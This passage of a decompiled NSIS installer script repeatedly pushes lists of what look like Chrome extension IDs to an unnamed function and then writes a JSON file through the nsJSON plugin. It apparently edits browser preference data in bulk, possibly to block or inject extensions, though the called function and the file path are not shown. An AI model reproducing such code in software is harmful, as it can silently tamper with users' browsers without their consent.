Push gnkbhefncjkobabomnoackampbpgikag Call func_9411 Push fopdddcinljmpmioaklghcalngfhbaen Call func_9411 Push eabkepljpdlhjlfaonmkgkbpofokciec Call func_9411 Push hcnohopcajeibomnkkbaebokofafkgbf Call func_9411 Push ohmkcnojelglgphmkgmofjlmpoelccjh Call func_9411 Push ahnpejopbfnjicblkhclaaefhblgkfpd Call func_9411 Push copfffaoccifkiiljjgoedgkaelcekhn Call func_9411 Push gbaobdidmoecggndfmfjebblkhgnhkda Call func_9411 Push jlembggmojoninjmkfghjopphfbjhofe Call func_9411 Push oidhhegpmlfpoeialbgcdocjalghfpkp Call func_9411 Push emakkfldeggiinnfcdjkakdfcppbfhdg Call func_9411 Push encaiiljifbdbjlphpgpiimidegddhic Call func_9411 Push agoljmemkbciolpigpabjfkagboolkcj Call func_9411 Push mjocghlclkpgheifflemilcnblodjohg Call func_9411 Push bdmjagdcpkfpebaaffpafncgkleijako Call func_9411 Push gnjbfdmiommbcdfigaefehgdndnpeech Call func_9411 Push dkgpajbdcbgaciibdeknligdaofmegma Call func_9411 Push hbeikkjblcogpkdnchpffgefhkilodnn Call func_9411 Push djihnclfplpgodoohhleedcjjomgikcc Call func_9411 Push mdgncmfemcgcpdmchnenmkgfdpedokgo Call func_9411 Push boikejnhiggonokccamalbhmenopmiji Call func_9411 Push hiinilempllbgnaohllfdpnmeioogkng Call func_9411 Push ffbonecokbglbldgjefndidmdeegggek Call func_9411 StrCmp $_32_ 1 label_9694 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_9694: FunctionEnd Function func_9695 StrCmp $_32_ 1 label_9702 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_9702: Push apnggkkoiepepmcopmkelpfhinojdbjo Call func_9411 Push ojphconnfejdaknhnekamgniidbcokca Call func_9411 Push bfdlbgbpgjichdjjmkdcpagfggicjfom Call func_9411 Push bmdjpboekgkcjeikgokenomldhaljkhm Call func_9411 Push kmedakdfngfmagjlndeckcbfcmidlbio Call func_9411 Push fcljdicbcnmfhekdcaobgbpjjifniemh Call func_9411 Push coljhboelhlkbgaaolcngflenaggpeao Call func_9411 Push bocggbchonjomlcjjjcbcfejnlkpdgep Call func_9411 Push keeoidllhdmjekfjecpdnhmmihljegdl Call func_9411 Push plimopelmdneikoknbgpopffpbmlhgpa Call func_9411 Push nlgdemkdapolikbjimjajpmonpbpmipk Call func_9411 Push caficnijbecdceenmgfphpoaamopmmjg Call func_9411 Push bfefdmepaiiimfhbgneijclbnailbghl Call func_9411 Push pepjgkdpkihjnbdaggonbpphlfkbhdli Call func_9411 Push hhmfdibgakhagkpalkmfamkaojignmbm Call func_9411 Push iphpmnjjkbneokidkdkcdfhlhlimhnfj Call func_9411 Push lffnnnfdablgamegkcboelplpcjoacmm Call func_9411 Push ilhhefepljbmehhbmjcflhcchkddfaon Call func_9411 Push jhapbopfchfogphiimjbhodmgnppoigk Call func_9411 Push acjahegdcbmdmijdkadochfcpedfdmnj Call func_9411 Push nmpjlchjijbdlflkpnglbepmhjaejkjl Call func_9411 Push pheobeikgpfdjfnlnhinkcogflmkcmlc Call func_9411 Push cjpalhdlnbpafiamejdnhcphjbkeiagm Call func_9411 StrCmp $_32_ 1 label_9756 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_9756: FunctionEnd Function func_9757 StrCmp $_32_ 1 label_9764 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_9764: Push ihhcdinmaceokcdmbddlclfejhadgpgg Call func_9411 Push akkhkcocfnopiccplnimkefmaejepdlj Call func_9411 Push chdlbfbfmljaggiikmanpggpfhmkfpdh Call func_9411 Push amplgponnfkfhnbgojhehcaaiocgmpam Call func_9411 Push kneggodalbcmgdkkfhbhbicbbahnacjb Call func_9411 Push fneleoohaagcejefkfmanhhdoboipapk Call func_9411 Push ccnkbaeamfbhdnmilamlkagpfgimgppo Call func_9411 Push nhjehbmopbfbomhchfkhbghcehpeiijl Call func_9411 Push bkfoggbmaeddfflfppchdlbakjilclbp Call func_9411 Push akaelkiagnbfcccfnmbimdbplecgbikh Call func_9411 Push elmggllmmdmjlbkfnbpmmfaofkihmcag Call func_9411 Push agfjdflmdlnffhlfmjdpbcoccaeamikk Call func_9411 Push dhdgffkkebhmkfjojejmpbldmpobfkfo Call func_9411 Push plmlpbcjkpppncefeoongifnpinjmegf Call func_9411 Push pkbffhpdalaceholagpcomhnigjjdfdb Call func_9411 Push afpabppcibfahafilhkbbgfnlncppdnc Call func_9411 Push knlpigpfaognbholppaembpfphilacie Call func_9411 Push jgpcjehgklpfpaohmmmcbmccgbcfgmnk Call func_9411 Push phefhkfojhcgelmcpapbplmnnbplaceg Call func_9411 Push chklaanhfefbnpoihckbnefhakgolnmc Call func_9411 Push kcnhkahnjcbndmmehfkdnkjomaanaooo Call func_9411 Push cpngackimfmofbokmjmljamhdncknpmg Call func_9411 Push djflhoibgkdhkhhcedjiklpkjnoahfmg Call func_9411 Push faminaibgiklngmfpfbhmokfmnglamcm Call func_9411 Push fjnbnpbmkenffdnngjfgmeleoegfcffe Call func_9411 StrCmp $_32_ 1 label_9822 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_9822: FunctionEnd Function func_9823 StrCmp $_32_ 1 label_9830 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_9830: Push dfpbaopcdgpcdekggfendghkgfdmojog Call func_9411 Push jkkenjlnjfemconejajakbijbheoffli Call func_9411 Push jeeipeiochflolcicincjfgmkpicffhi Call func_9411 Push hnldbiikfjheppkbnjbnkgimnfejifpf Call func_9411 Push hcnmeapiiphhmfhfnngadeoglcaknipi Call func_9411 Push njppmddkfhcffdkkkeomojdheimcgkll Call func_9411 Push jhongheibdpfhdpfccheljfcabgliidh Call func_9411 Push hhdjegdllbnhgdbkamlghkfcjnkilinm Call func_9411 Push lccogepdpdnpcoblidpcjgmdcafinijg Call func_9411 Push piinjfbkomhbihijnanbkdkcodgficdn Call func_9411 Push fnbadkmhkehnphhniladjoagihbagpmk Call func_9411 Push fppmnajoggdjlbceelheobobdjclklnh Call func_9411 Push mkfokfffehpeedafpekjeddnmnjhmcmk Call func_9411 Push afdljnaicocchekhjlflikmnmiembohl Call func_9411 Push fjfiaeaopgmgbenipljajjipecobmbni Call func_9411 Push nfkfhnhimcipdenpdagckeiclnlhpddj Call func_9411 Push cljmgafdojiepjppcilmhbaijalckjec Call func_9411 Push aemgobnhmjkokaanfjcikbeddfpfbcce Call func_9411 Push oapnocopdbbakjcokdmhlpmdokkniien Call func_9411 Push aliekcbgfjfobmdhalkinpphajmlhaei Call func_9411 Push kcdeaofcapijfmeopimkgcepdpbdepnb Call func_9411 Push jkkngokdooagpeidijbihiofdalckjmh Call func_9411 Push cikblgdncidmpallpjignnpahappmcej Call func_9411 Push fkjoahemngfldcokkeofepfhpfphkpjp Call func_9411 Push dmcaebpppkgaeajegijmjgkkplgaljlc Call func_9411 StrCmp $_32_ 1 label_9888 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_9888: FunctionEnd Function func_9889 StrCmp $_32_ 1 label_9896 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_9896: Push hdhmofnopkgkpgnpggloijpbnaonhplc Call func_9411 Push objoaichchnolncdebkiiipkjlligamm Call func_9411 Push dgllkfpmikkiojldjjnokegmnamiobhm Call func_9411 Push plfghefomandejfcfhcindgbnfogdgjj Call func_9411 Push pikpanhgiaphkjnpagblcgaighhppffn Call func_9411 Push emcekebbkpkogiblcagdhbbpehfhljoe Call func_9411 Push ldhndahencefpagkkbaoaeigbjomkekj Call func_9411 Push bnagjfbacpkcllmdkdmmfnhllioloeod Call func_9411 Push bneofalgnokehdfeebjdkgbkbkbnjngp Call func_9411 Push acklnhgjphbhhomkneonohbjnbmkclfb Call func_9411 Push kcjifdbedkcdkeegnoenkpiphjldpahf Call func_9411 Push cdbpgjkjdieaeeamabfhhimkiiednibl Call func_9411 Push nnablabjebldnjlelboobpjegkehklon Call func_9411 Push knohfebhibeknbfioecpdmdkjkjdnjnl Call func_9411 Push gdalhedleemkkdjddjgfjmcnbpejpapp Call func_9411 Push digdamginaiacelfjeiogepnddkgklom Call func_9411 Push papbadoldddalgcjcicnikcfenodpghp Call func_9411 Push gomekmidlodglbbmalcneegieacbdmki Call func_9411 Push dkdappficojbcppjikodbmaacmonapja Call func_9411 Push nmgcfemagnogdodbambjhdcmfcpicngl Call func_9411 Push aleggpabliehgbeagmfhnodcijcmbonb Call func_9411 Push pmeahafpomcpkopfcifekoohbhaoajhg Call func_9411 Push bafpnadamcnoafhkclccgoaoolibidpb Call func_9411 Push jepcpcilhjedfeahcnpccfcohdipdopp Call func_9411 Push aajfkmlnigenialefkkabclimkgelkjg Call func_9411 StrCmp $_32_ 1 label_9954 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_9954: FunctionEnd Function func_9955 StrCmp $_32_ 1 label_9962 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_9962: Push ielfjlkjofamfalocncmgekmlhdjljof Call func_9411 Push cmfmmdcaedfkmdghkaljnflkfjnmealg Call func_9411 Push igknmofklilajdimkkidipjimdgdpfig Call func_9411 Push pcakalekbccdnfacpdgneeodpjpaiiac Call func_9411 Push defjbpbaeipkllhdmgjfbdefjnpoocga Call func_9411 Push pogchimbndbckepmhaagnapfmlfgnala Call func_9411 Push ehllhhahecagjamggopjmfmcaeipbehn Call func_9411 Push fihdnhfddbbfnijkkcgagcpblkpaopda Call func_9411 Push ndabmaflbdfldmdlccmpccenpkgklhln Call func_9411 Push ngbcgifdaopbfflfhbcfeomijfbbcadi Call func_9411 Push kfecnpmgnlnbmipaogfhoacoioifjgko Call func_9411 Push hgjdmibhlkjgbifgaojdpljodlnijogl Call func_9411 Push nbdckeihbljjmjjjjpifbgkncecpdnel Call func_9411 Push aamfmnhcipnbjjnbfmaoooiohikifefk Call func_9411 Push pclmlpoblfocblmfkcoedlpokmdkmamp Call func_9411 Push afhfbdbjojkmnjhlcefomefflbkbhpcc Call func_9411 Push immdfbneppbcbkbeladalhmkpodjggpi Call func_9411 Push obnidnphmghbibkbpimalhpjglajccpa Call func_9411 Push aaaabcdhikdcpainmmjceakmkacogdko Call func_9411 Push oppjbdkgpfhhllancffaoaemplhkngoc Call func_9411 Push ahgjemkchndbkhmcnlihebeldmdbogke Call func_9411 Push bdheabnbdelbnhkennpakjhjjknaanab Call func_9411 Push plobmmcbekjmgecbnlpellffahgklcdg Call func_9411 Push mmghkpgoeemjajbgfgibbkmmaickfhgp Call func_9411 Push pfmdhhcimlbpjkjgmcpfkjadhbkffflh Call func_9411 StrCmp $_32_ 1 label_10020 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10020: FunctionEnd Function func_10021 StrCmp $_32_ 1 label_10028 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10028: Push dghncoeocefmhkhiphdgikkamjeglbfh Call func_9411 Push icekbnlckcainandkpodddbihdkgofeo Call func_9411 Push pdfmhakmnmnlelkmmjjhohokbnlffmam Call func_9411 Push dofbkdnbdibaadbkmoigipaapbgfoalk Call func_9411 Push epcnnfbjfcgphgdmggkamkmgojdagdnn Call func_9411 Push djcglfbcnfofkkhnikbgjdkkhhfnaklk Call func_9411 Push hjacbidbigepkemmhlegcmgimnlgdcop Call func_9411 Push bijpdibkloghppkbmhcklkogpjaenfkg Call func_9411 Push jkgogblhemfjdphgjdgcpjakjdfeicda Call func_9411 Push ooebklgpfnbcnpokahmdidgbmlcdepkm Call func_9411 Push kcfefccmndghghcanogfebekgbajgibi Call func_9411 Push ibbhcobgdfmlhhaahkcldomanmaplpfe Call func_9411 Push bpeobilfdnpcbefajeeicnnbendkokon Call func_9411 Push caljebcifamfolnccibcggaaeooigkcn Call func_9411 Push nckgahadagoaajjgafhacjanaoiihapd Call func_9411 Push nafaimnnclfjfedmmabolbppcngeolgf Call func_9411 Push mdeldjolamfbcgnndjmjjiinnhbnbnla Call func_9411 Push mhoginfgkdilnncbigagbkpfccbokgib Call func_9411 Push dgomkalehojkboojhjkkiplfagabokmf Call func_9411 Push jecgbfoconhopjngaaijjgffhokohlac Call func_9411 Push heaigjkhmboanopbhfjfpmlkoeeaeccc Call func_9411 Push dfdaolbnibmaikhnhmmpahbpagklpaof Call func_9411 Push hmooaemjmediafeacjplpbpenjnpcneg Call func_9411 Push fjbbjfdilbioabojmcplalojlmdngbjl Call func_9411 Push nbkidfaplnkmllomjjmbnindhlmnafcj Call func_9411 StrCmp $_32_ 1 label_10086 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10086: FunctionEnd Function func_10087 StrCmp $_32_ 1 label_10094 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10094: Push eolegipcadlgmbpioaljgifleoaoiojc Call func_9411 Push fjnfffadddalhgdjnfamfnfabihbaijo Call func_9411 Push apdhdnojdbhafnfogidcjgknlgjaackh Call func_9411 Push ofahpakdcmmkcppbfmdhklioekdhjigi Call func_9411 Push dkmjljdbbgogihjcapfhgkonfmccbffp Call func_9411 Push omdakjcmkglenbhjadbccaookpfjihpa Call func_9411 Push bfaohpmjmhdgnjblojekjlnadhehiadj Call func_9411 Push mdlgoanmklkbmpnloohhfolfgibmieog Call func_9411 Push ehnmojcheleebacabbpidakeonmikcgh Call func_9411 Push nakmceeckddjbmmfmeejfmfpbknpcdon Call func_9411 Push pkehgijcmpdhfbdbbnkijodmdjhbjlgp Call func_9411 Push gmngadifolibnaoikammfkfpfhoefadb Call func_9411 Push npgfkibkmennbfadphcpjejdpfaeaenh Call func_9411 Push aagjoniahmepldbjjfbjjhbingmbjlcj Call func_9411 Push mdcoemfeknnmifgkfoncjfoohdljddmp Call func_9411 Push biccchlckipkbfinjgjoihkfpjppdnnm Call func_9411 Push kfgaibfbmkjgmimhbbaikfnpkkjkpoan Call func_9411 Push memkclohfegeoleddlfmapekllhpheon Call func_9411 Push fjhliaolocalpnhgfoifjmhmpebhgcpi Call func_9411 Push ekfodldkedhimgldfpmaagmkollebfkd Call func_9411 Push aphidkcmnocoblalloofoklecloeacak Call func_9411 Push mcafflfojcedkgjkoiebkbhnhldokecj Call func_9411 Push kkminbpkhpjddkblpcbghdjbklpkbcae Call func_9411 Push bjdnlokgpbeflkegifbndikgnnbmfccd Call func_9411 Push gbkjddnnlgmahpnjjkiolhoophlpibfn Call func_9411 StrCmp $_32_ 1 label_10152 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10152: FunctionEnd Function func_10153 StrCmp $_32_ 1 label_10160 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10160: Push pfmbamigamleojkkogbejpgjdbmadgca Call func_9411 Push ipabidclbobagkpfhdoefbggacfjedae Call func_9411 Push kfljpkcacgcnnnipmdlgmlnmckmcpoef Call func_9411 Push ablgnpngfaaficpckehadaljnjgjkhbi Call func_9411 Push cghglbggfogikpminlhbocmmbkppikhf Call func_9411 Push kabhhgmfghlchcfoghldgcoldfphbfee Call func_9411 Push mgliglcamoigpimdnjhabaihllgldhcm Call func_9411 Push gooadbaemblgdncpcnfncoockdjpigbg Call func_9411 Push hbkifecchngnnajcgpibgclebjefmoia Call func_9411 Push acdjeklgmfinlldghamjbbmmibfgjlpc Call func_9411 Push konfbibhpfpfjgdnnjbfjleahpgjedkl Call func_9411 Push jkchbcdpiplmepnccafoeaiimohjodkm Call func_9411 Push gkgcmoehhnkkcijcllimglmgkplealfk Call func_9411 Push clpickcelnbfabddmclhjgkggfboahgj Call func_9411 Push fpadeflmcilgocfdbchkabfigijjkejo Call func_9411 Push cbmijindgkkbedhbacocgobhnhcdfhbj Call func_9411 Push mdonfjaemnemdnnpebbcelibeocdmkai Call func_9411 Push faajihnmbfdjebpkhngdjlflookcjbpd Call func_9411 Push fonbfofodfopbaafhahgolemcplblbcg Call func_9411 Push monpennifgclhopkmgdbcnaagkgdemch Call func_9411 Push mhcmfkkjmkcfgelgdpndepmimbmkbpfp Call func_9411 Push dmjmfnkoodejjanochmokpkjdhhdfngj Call func_9411 Push mmiolkcfamcbpoandjpnefiegkcpeoan Call func_9411 Push ipcjnajmhomjecfgpbjkdpncfkbjnohd Call func_9411 Push edbmjihgboglpgoiaekeadfbmnllofbi Call func_9411 StrCmp $_32_ 1 label_10218 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10218: FunctionEnd Function func_10219 StrCmp $_32_ 1 label_10226 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10226: Push dphgnejlklokobpandlkclmjldgbjppc Call func_9411 Push bieimkcgkepinadnphjpljpcfbdipofn Call func_9411 Push gmfonfhepnfocojgonpbmonbkkplkeio Call func_9411 Push jhcgadmceoppkloomfechpbjcpabidob Call func_9411 Push ikjlgcapebbggdegemlajfdebaicpoif Call func_9411 Push mmmcaokglenfinpkfpgkmkpnfjijmhfm Call func_9411 Push kknfkgbilaemfjcjjfgemgcgbajbgadd Call func_9411 Push ifceekaonljpjdnanifbjlpjlpjihahe Call func_9411 Push pnooffjhclkocplopffdbcdghmiffhji Call func_9411 Push ofdgafmdegfkhfdfkmllfefmcmcjllec Call func_9411 Push ilamgbdaebkbpkkmfmmfbnaamkhijdek Call func_9411 Push pcedcainfpmibhlcppehljkpejdcpjjn Call func_9411 Push ojnnkfigfalgaefhdjiphlnepmjkagjd Call func_9411 Push gkbehdibccccaklbchjdjkpifikjiclo Call func_9411 Push gfimgicdombnijnjgpckdjhnjmaapafj Call func_9411 Push gihoppaedpcolacajoondfhabakijfki Call func_9411 Push embjkdlfjccamokpokjfgmabeiccniie Call func_9411 Push ncpoabkajdanepplbicgbjeahpbkelhg Call func_9411 Push inomffilbbbnhclbpdageeeaajdonadj Call func_9411 Push lkadffjmnaiokkdncgdlecdegajoiemi Call func_9411 Push onblafoeogkjbohjnpigkcmdcgkgkcfp Call func_9411 Push iffnkklnhcckdbakeemklgkangigdbbk Call func_9411 Push fdenfghgkcnkdikioffddkkmdcloajfg Call func_9411 Push jhckbblbeahdlofknhfimkepdinpljfc Call func_9411 Push iaofmdncmakgfhhlkpeohbidhaiedblo Call func_9411 StrCmp $_32_ 1 label_10284 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10284: FunctionEnd Function func_10285 StrCmp $_32_ 1 label_10292 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10292: Push mkndcbhcgphcfkkddanakjiepeknbgle Call func_9411 Push fcdkelkgjkclmfgcnhkklmfcciiojbcn Call func_9411 Push ighdmknokollbnkmcepmcebgkpapepic Call func_9411 Push jhlahgjgccieafmmhjndjbhinmofjaaj Call func_9411 Push fcimjkehglmijlhnpbmjbpoiamjiegod Call func_9411 Push lkcnnaeninjibhdcknedboclpfkhgjej Call func_9411 Push gnacaoicnnhefbcdflabbonnoichilae Call func_9411 Push ahkmlkpifohkpfdhdnoeefkegdikggej Call func_9411 Push kagpimphglgedjaaafmclekeankdidmm Call func_9411 Push mkglddkfkhfjjaedinighchlkeceebpb Call func_9411 Push njcppddkcdojnilnknjifcgmnnelhifi Call func_9411 Push egldokbhmgcchfikclhbnffgpgdpkikn Call func_9411 Push ipdocpmkplpcbbohlmaifigngeaedpkc Call func_9411 Push dfmanhfilhophmcmemcmacejpnapamfk Call func_9411 Push mhfofcmiohmadbkaakkcdeimlmpbjgpj Call func_9411 Push plaklkejpgggcflhigfkhogdmmljpapm Call func_9411 Push cckaogkkkkeakjcommpboibminldbpno Call func_9411 Push eldiihlcidbmcjnomalgoabdfgbnogok Call func_9411 Push glcimepnljoholdmjchkloafkggfoijh Call func_9411 Push fheoggkfdfchfphceeifdbepaooicaho Call func_9411 Push ddlhogjgfofpgmkognopimmilcldcepb Call func_9411 Push pfgjkiamaakjjjaalggclbfapojejene Call func_9411 Push pclkbgkdgbceblcfbaaocnfpldlggipc Call func_9411 Push oekdjnngaipjchfbjnmbhdjolbiocpkg Call func_9411 Push miincmhponinjhaaagepklkeadfamabi Call func_9411 StrCmp $_32_ 1 label_10350 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10350: FunctionEnd Function func_10351 StrCmp $_32_ 1 label_10358 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10358: Push fafceeakhmbanmolhficnpfaalkbffpc Call func_9411 Push djhgiahomjkabjdodlemhnhbnbfcomam Call func_9411 Push jnmebibcnmmkgldaljbchompinpencam Call func_9411 Push lapcljgokiddckdfknnjnacigpeaggnc Call func_9411 Push cmnjldnocaciphkbbjfnikkinhdheonh Call func_9411 Push mgkbblelnlacilglbehphdbcljjgjjio Call func_9411 Push flliilndjeohchalpbbcdekjklbdgfkk Call func_9411 Push jaikdhljjbgilnickklnipcmcbhnbpij Call func_9411 Push khpcanbeojalbkpgpmjpdkjnkfcgfkhb Call func_9411 Push dknmklfnhfbnjekfgapbdlhogifkneea Call func_9411 Push dgnpdigppagldckhhbcomakmohjponof Call func_9411 Push efcnmnfkfmaokkgfimjbadolnjgpbbnm Call func_9411 Push aldepjpjcfpolfolpbbjjcbpjpjnlkok Call func_9411 Push migbflmlmdnagbjlfpciojaejffgjoae Call func_9411 Push bgkbhhlnpdncfkammaaofgmhdmealgmh Call func_9411 Push odlhikpaegeblidjhkeefjdjegganhpg Call func_9411 Push pbdnheiddiedcfijelmdmfbfhnmpngjo Call func_9411 Push dioknbnfomokmffldolopajeaejfacma Call func_9411 Push emeekeikmkpidgbablikkediajeljbda Call func_9411 Push ifhnjalcekbmmeknpgnkpghldbbhanen Call func_9411 Push kjdcimckanehifoamlejpbbpnleganbc Call func_9411 Push ejgmeebgmfgkkhheadbpckgejolglhnc Call func_9411 Push kfmpgofbpmkihnamkhcoohnmipjkfjph Call func_9411 Push hjlmfejeepodkfiapgfhkniokjdcmkfo Call func_9411 Push gofhjkjmkpinhpoiabjplobcaignabnl Call func_9411 StrCmp $_32_ 1 label_10416 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10416: FunctionEnd Function func_10417 StrCmp $_32_ 1 label_10424 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10424: Push mdanidgdpmkimeiiojknlnekblgmpdll Call func_9411 Push nlbjncdgjeocebhnmkbbbdekmmmcbfjd Call func_9411 Push oadboiipflhobonjjffjbfekfjcgkhco Call func_9411 Push elicpjhcidhpjomhibiffojpinpmmpil Call func_9411 Push ciagpekplgpbepdgggflgmahnjgiaced Call func_9411 Push cmckkgalnmmkfnefkjngdjfjegnkphng Call func_9411 Push elckafaemboocdmiejmgjlifblmodkpa Call func_9411 Push ciennljbgdehdilgkhlfcokmppkfemep Call func_9411 Push balimbofoedmklhpnchbgmlfipgpbjnl Call func_9411 Push fkepacicchenbjecpbpbclokcabebhah Call func_9411 Push jfnmbockdokaiajhlonpofgolpnnblom Call func_9411 Push hcjhechaanackfidkacmbciilhknbdjf Call func_9411 Push hijahgogmmjlbngboogancgjhaeeaoec Call func_9411 Push pbjophgnmlffngmbkchfinmbabfmhhfk Call func_9411 Push akfbkbiialncppkngofjpglbbobjoeoe Call func_9411 Push fhjbkflincogdkemofejdggfanmlglgm Call func_9411 Push bkkbcggnhapdmkeljlodobbkopceiche Call func_9411 Push lagabmcceednhgcamnlbgpcalcpaolld Call func_9411 Push bdhaleablbebpeafpjjljppodciicafh Call func_9411 Push dgehgfgkbcefnfeoinfhlbhblhjklclb Call func_9411 Push bfbmjmiodbnnpllbbbfblcplfjjepjdn Call func_9411 Push dgdnhpfneglhceafhiihffihnomlilba Call func_9411 Push dlidmecdjikmgcljjljpelcaldcecbcf Call func_9411 Push naldacidolhjbbmblpmalapemmbkbfdm Call func_9411 Push hmnlnhfggjlmcmldonpedhkolceklbmm Call func_9411 StrCmp $_32_ 1 label_10482 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10482: FunctionEnd Function func_10483 StrCmp $_32_ 1 label_10490 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10490: Push ilkodpocfielljohceimiamcpjggkcca Call func_9411 Push niaidlbfgnmndccckeilbhihankjfgmp Call func_9411 Push fachkanjgokdeipofklfhoiogbdpango Call func_9411 Push kldhebohdecmalbiaidfdipddfdemnap Call func_9411 Push gegdfeiahlfolhcfioipjlkombmgbakh Call func_9411 Push bdkjahgfjedhmeijiflmjkiibgkifjgi Call func_9411 Push jdflapekoajkdkgodmfccckdkfnjepeb Call func_9411 Push agdmdonkdielcapabfdpacbmibbohjke Call func_9411 Push hmcfkjhogndmigfiomdmchbhdffmnmco Call func_9411 Push kikjajkogacdiiaphdlclccndpmmkgpo Call func_9411 Push hanjiajgnonaobdlklncdjdmpbomlhoa Call func_9411 Push caemclfclldohgnnhhoaobdafkblciln Call func_9411 Push famoeojmnllhhpacaglkmflcjjgglloo Call func_9411 Push keonaknfajlcpjbbdikojdhpbhbjpgga Call func_9411 Push pleaihaenamcppdkhaidcjalbhaodfmn Call func_9411 Push ljkppcgffpemfbjmdleeclfbbjlnphlm Call func_9411 Push gijfkdjnbifodmgiacbjebmiobhidlie Call func_9411 Push gpbaohjgjcbjljiijjlggdljgaefcfbj Call func_9411 Push ajhclfhkjfcgagaidcmobhdpihaienph Call func_9411 Push hmfipiedngkkgafkfaoadhejcokamihk Call func_9411 Push 